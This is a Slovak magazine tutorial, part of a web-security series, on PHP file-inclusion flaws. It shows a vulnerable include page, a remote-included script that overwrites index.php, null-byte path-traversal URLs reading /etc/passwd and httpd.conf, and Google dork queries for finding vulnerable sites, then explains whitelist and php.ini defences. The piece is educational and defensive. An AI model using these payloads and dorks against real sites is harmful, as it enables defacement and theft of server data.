Image
16.6.2016 0 Comments

WWW hacking a obrana / 3. časť

PHP In­jec­tion
PHP je dnes naj­pou­ží­va­nej­ší skrip­to­va­cí ja­zyk po­uží­va­ný na tvor­bu dy­na­mic­kých inter­ne­to­vých strá­nok, kto­ré ma­jú vlast­ný „mo­zog“. Vní­ma­me ho už len nie­ke­dy a fulltexto­vé vy­hľa­dá­va­nie ale­bo fó­rum na strán­ke be­rie­me za sa­moz­rej­mosť. Ale ur­či­te viac nám udrie do očí to, keď je strán­ka bez týc­hto skrip­tov. A pre hac­ke­rov sú strán­ky pí­sa­né po­mo­cou skrip­tov PHP zá­bav­nou for­mou hac­kin­gu.

Tie naj­jed­no­duc­hšie a zá­ro­veň aj naj­me­nej deš­truk­tív­ne úto­ky spo­čí­va­jú v tom, že útoč­ník vy­ma­že sú­bor in­dex.php ale­bo iný sú­bor, kto­rý sa na­čí­ta­va ako hlav­ná strán­ky ne­ja­kej do­mé­ny. Väč­ši­nou sa však po­uží­va ná­zov in­dex.

<html>
<head>
<tit­le>Un­tit­led Do­cu­ment</tit­le>
<me­ta http-equiv="Con­tent-Ty­pe" con­tent="text/html; char­set=iso-8859-1">
</head>
<bo­dy>
<form ac­tion="in­dex.php" met­hod="get>
<in­put na­me="pa­ge" ty­pe="sub­mit" va­lue="pr­va">
<in­put na­me="pa­ge" ty­pe="sub­mit" va­lue="dru­ha">
 </form>
<?php in­clu­de($pa­ge.".php");?>
</bo­dy>
</html>

 

Pred­chád­za­jú­ca strán­ka, kto­rá ob­sa­hu­je PHP skript, je ty­pic­ký prík­lad chy­by, kto­rej sa do­púš­ťa po­mer­ne ve­ľa prog­ra­má­to­rov inter­ne­to­vých ap­li­ká­cií. Sa­moz­rej­me, že z bez­peč­nos­tné­ho hľa­dis­ka. Fun­kčnosť je v po­riad­ku a strán­ka pra­cu­je bez prob­lé­mov. Prob­lé­mom je fakt, že skript pri­jí­ma aký­koľ­vek re­ťa­zec do pre­men­nej pa­ge a pra­cu­je s ním. Ha­cker má te­da pred se­bou veľ­mi jed­no­duc­hú úlo­hu. Sta­čí mu do pre­men­nej pa­ge za­dať ces­tu k ne­ja­ké­mu sú­bo­ru, kto­rý má vy­tvo­re­ný na free­hos­tin­go­vom kon­te, a PHP stroj ho vy­ko­ná.

Tu je ob­sah sú­bo­ru hack (sú­bor je bez akej­koľ­vek prí­po­ny).

<?php
$ni = fo­pen("in­dex.php", "w");
$od­kaz = "<h1><cen­ter>Strán­ka je hac­knu­tá. </cen­ter></h1>";
fwri­te($ni, $od­kaz, strlen($od­kaz));
fclo­se($ni);
? >

Ak si po­zrie­te vý­pis sú­bo­ru hack, zis­tí­te, že nej­de o nič iné ako o oby­čaj­ný a pri­tom veľ­mi jed­no­duc­hý skript PHP, kto­rý do­ká­že na­pí­sať kaž­dý prog­ra­má­tor, kto­rý s PHP pra­co­val ale­bo len za­čí­na.

Iné ne­bez­pe­čen­stvo
Za ďal­šiu hroz­bu mô­že­me po­kla­dať to, že útoč­ník je schop­ný zob­ra­ziť aký­koľ­vek sú­bor, ku kto­ré­mu má server prís­tup a da­né kon­to op­ráv­ne­nie.

Ad­re­sa URL: http://lo­cal­host/in­dex.php?pa­ge=dru­ha
Zme­ne­ná URL: http://lo­cal­host/in­dex.php?pa­ge=../conf/httpd.conf%00

Ur­či­te ste si všim­li %00 na kon­ci URL. Je to nu­lo­vý bajt v hexade­ci­mál­nej sús­ta­ve, kto­rý ukon­čí re­ťa­zec. To za­prí­či­ní ukon­če­nie re­ťaz­ca a tým aj náz­vu sú­bo­ru pred prí­po­nou .php. Skript sa tú prí­po­nu sí­ce po­kú­si pri­dať, ale vý­sle­dok bu­de httpd.conf na­mies­to httpd.conf.php. Ak te­da zme­ní­me hod­no­tu pre­men­nej pa­ge na ../conf/httpd.conf%00, na strán­ke sa nám zob­ra­zí ob­sah kon­fi­gu­rač­né­ho sú­bo­ru server­a Apac­he. Sa­moz­rej­me, za pred­pok­la­du, že je nas­ta­ve­ný na ad­re­sár, kto­rý sa nac­hád­za v tom is­tom ad­re­sá­ri ako ad­re­sár conf.

Ak beží server na Li­nuxe, útoč­ník sa mô­že dos­tať k sú­bo­ru, v kto­rom sú ulo­že­né v sú­bo­re passwd. Sta­čí, ak pre­men­nej pa­ge nas­ta­ví hod­no­tu ../../../etc/passwd%00.

Ob­ra­na pro­ti to­mu­to úto­ku je mož­no ove­ľa jed­no­duc­hšia, ako by niek­to ča­kal. Po­sta­čí len kon­tro­lo­vať ob­sah pre­men­nej pa­ge. Tu je skript, kto­rý je bez­peč­ný.

<html>
<head>
<tit­le>Un­tit­led Do­cu­ment</tit­le>
<me­ta http-equiv="Con­tent-Ty­pe" con­tent="text/html; char­set=iso-8859-1">
</head>
<bo­dy>
 <form ac­tion="in­dex.php" met­hod="get">
<in­put na­me="pa­ge" ty­pe="sub­mit" va­lue="pr­va">
<in­put na­me="pa­ge" ty­pe="sub­mit" va­lue="dru­ha">
 </form>
<?php 
switch($pa­ge) {
ca­se "pr­va":
in­clu­de($pa­ge.".php");
break;  
ca­se "dru­ha":
in­clu­de($pa­ge.".php");
break;

 
de­fault:
if($pa­ge != NULL)
in­clu­de("chy­ba.php");
break;
}
?>
</bo­dy>
</html>

 

Ako hac­ke­ri hľa­da­jú po­ten­ciál­ne cie­le?
Väč­ši­na hac­ke­rov po­uží­va Goog­le na to, aby naš­li ne­ja­ké sla­bo za­bez­pe­če­né strán­ky.

Vy­hľa­dať v Goog­le:

Opis

inurl:?pa­ge=*.php

V URL strán­ky sa nac­hád­za pre­men­ná pa­ge, kto­rá ob­sa­hu­je ná­zov ne­ja­kej dy­na­mic­kej strán­ky (*.php). ?pa­ge=pro­duk­ty.php

inurl:?pa­ge_id=*.php

?pa­ge_id=pro­duk­ty.php

inurl:?id=*.php

Dru­há naj­čas­tej­šia mož­nosť, kto­rá vy­ze­rá po­doz­ri­vo. ?id=pro­duk­ty.php

inurl:?id_pa­ge=*.php

?id_pa­ge=po­boc­ky.php

Inurl:?in­clu­de=*.php

?in­clu­de=pro­ducts.php

Inurl:?in­clu­de_id=*.php

?in­clu­de_id=about_us.php

Inurl:?in­clu­de_url=*.php

?in­clu­de_url=clients.php

Inurl:?url=*.php

url=pro­duk­ty.php

Naj­ús­peš­nej­šia je asi tá pr­vá mož­nosť inurl:?pa­ge=*.php. Na ur­če­nie, v akej do­mé­ne by sa ma­lo vy­hľa­dá­vať, sa po­uží­va si­te: ná­zov_do­mé­ny a za tým text, kto­rý sa má na strán­ke vy­hľa­dať.

si­te:sk

Vy­hľa­dá v do­mé­ne www.ho­ci­ja­ká_strán­ka.sk

si­te:net

Vy­hľa­dá v do­mé­ne www.ho­ci­ja­ká_strán­ka.com

si­te:com

Vy­hľa­dá v do­mé­ne www.ho­ci­ja­ká_strán­ka.sk

si­te:crac­king.sk

Vy­hľa­dá v do­mé­ne www.crac­king.sk

Pre­to skon­tro­luj­te, či ná­ho­dou nie je prá­ve tá va­ša strán­ka na po­pred­ných mies­tach vý­sled­kov Goog­lu pri za­da­ní po­dob­ných vy­hľa­dá­va­cích kri­té­rií. Pre­to­že skôr či nes­kôr na ňu ne­ja­ký ha­cker nat­ra­fí.

V tom naj­lep­šom prí­pa­de bu­de ha­cker na­pá­dať len hlav­ný sú­bor in­dex.php, ale v tom hor­šom mô­že dôjsť k na­ru­še­niu ce­lé­ho server­a, nie­len da­nej strán­ky, kto­rá ob­sa­hu­je chy­bu. A ako? Veď správ­ca hos­tin­go­vé­ho server­a pred­sa nas­ta­vil všet­ko tak, aby sa z jed­né­ho úč­tu ne­da­li pre­ze­rať sú­bo­ry dru­hé­ho úč­tu. To je (väč­ši­nou) prav­da, ale je tu jed­na vec, kto­rá nám do­vo­lí vy­užiť chy­bu aj inak. Tak ako všet­ci ani tvor­co­via ja­zy­ka PHP nie sú neo­myl­ní a aj ja­zyk PHP ob­sa­hu­je chy­by. Rôz­ne fun­kcie API ja­zy­ka PHP ob­sa­hu­jú chy­by, kto­ré nes­mie ad­mi­nis­trá­tor po­dce­niť, pre­to by mal ak­tua­li­zo­vať stroj PHP tak čas­to, ako sa len dá, ale­bo as­poň po­uží­vať všet­ky zá­pla­ty, o kto­rých vie.

Pre­to­že ha­cker, kto­rý ne­má v úmys­le len upo­zor­niť na chy­bu na strán­ke, ale ju chce aj vy­užiť na zís­ka­nie prís­tu­pu k server­u, nap­rog­ra­mu­je skript, kto­rý po­uží­va fun­kciu API, kto­rá sa dá exploi­to­vať a tým pri­nú­tiť vy­ko­nať inter­pre­ter ja­zy­ka PHP, kto­rý beží pod ne­ja­kým webo­vým server­om, na spus­te­nie aké­ho­koľ­vek kó­du.

Ob­ra­na pred PHP in­jec­tion
Naj­jed­no­duc­hšie a aj naj­bez­peč­nej­šie je nas­ta­viť hod­no­tu pa­ra­met­ra sa­fe_mo­de v sú­bo­re php.ini na On.
dis­ab­le_fun­ctions = re­na­me, fo­pen, fwri­te, un­link, fpassthr
a ďal­šie ne­bez­peč­né fun­kcie.

Je eš­te jed­na mož­nosť, ako sťa­žiť hac­ke­ro­vi si­tuáciu. Tre­ba nas­ta­viť allow_url_fo­pen = Off na Off.
To­to nas­ta­ve­nie za­bez­pe­čí, aby ne­bo­lo mož­né na­čí­ta­vať sú­bor z ne­ja­kej inej do­mé­ny (ad­re­sy URL, server­a).

Na úvod do tej­to ob­las­ti bez­peč­nos­ti to po­sta­ču­je, ale úto­ky mô­žu byť – a aj sú – ove­ľa prep­ra­co­va­nej­šie. Pre­to je lep­šie dať as­poň na pár mi­nút otes­to­vať strán­ku nie­ko­mu, kto sa bez­peč­nos­ti ve­nu­je. Pre­dí­de­te tým nes­kor­ším prob­lé­mom, kto­ré by moh­li nas­tať. Na­bu­dú­ce sa po­zrie­me na SQL in­jec­tion.

Autor: Ján Chovanec

Nechajte si posielať prehľad najdôležitejších správ emailom

Mohlo by Vás zaujímať

Ako na to

CES 2017: Lenovo predstavilo nové notebooky ThinkPad X1, Miix 720 a prvý smartfón s podporou Tango - Lenovo Phab 2

03.01.2017 00:09

Lenovo odštartovala ďalší ročník veľtrhu s celou škálou nových produktov. Nová generácia produktov radu ThinkPad X1 Carbon 2017 je najľahším 14-palcovým biznis notebookom, ktorý váži len 1,14kg a obsa ...

Ako na to

Tipy a triky: Ako správne poskytovať IT pomoc a ako o ňu správne žiadať?

14.12.2016 09:40

Či už ste pokročilý používateľ počítača, ktorý často poskytuje IT pomoc známym a rodine, alebo ste to vy, kto o takúto pomoc zvyčajne žiada, ľahko sa stanete nechcenou príčinou frustrácie a obrovskej ...

Ako na to

Tipy a triky: Ako diagnostikovať a opravovať neúspešné upgrady Windows 10

14.12.2016 09:37

Microsoft prešiel s Windows 10 do celkom novej éry vývoja. Namiesto samostatných verzií Windows, vydávaných zvyčajne s odstupom dvoch až piatich rokov (XP, Vista, 7 a podobne), začal svoj systém vyvíj ...

Žiadne komentáre

Vyhľadávanie

ShowIT

Najnovšie videá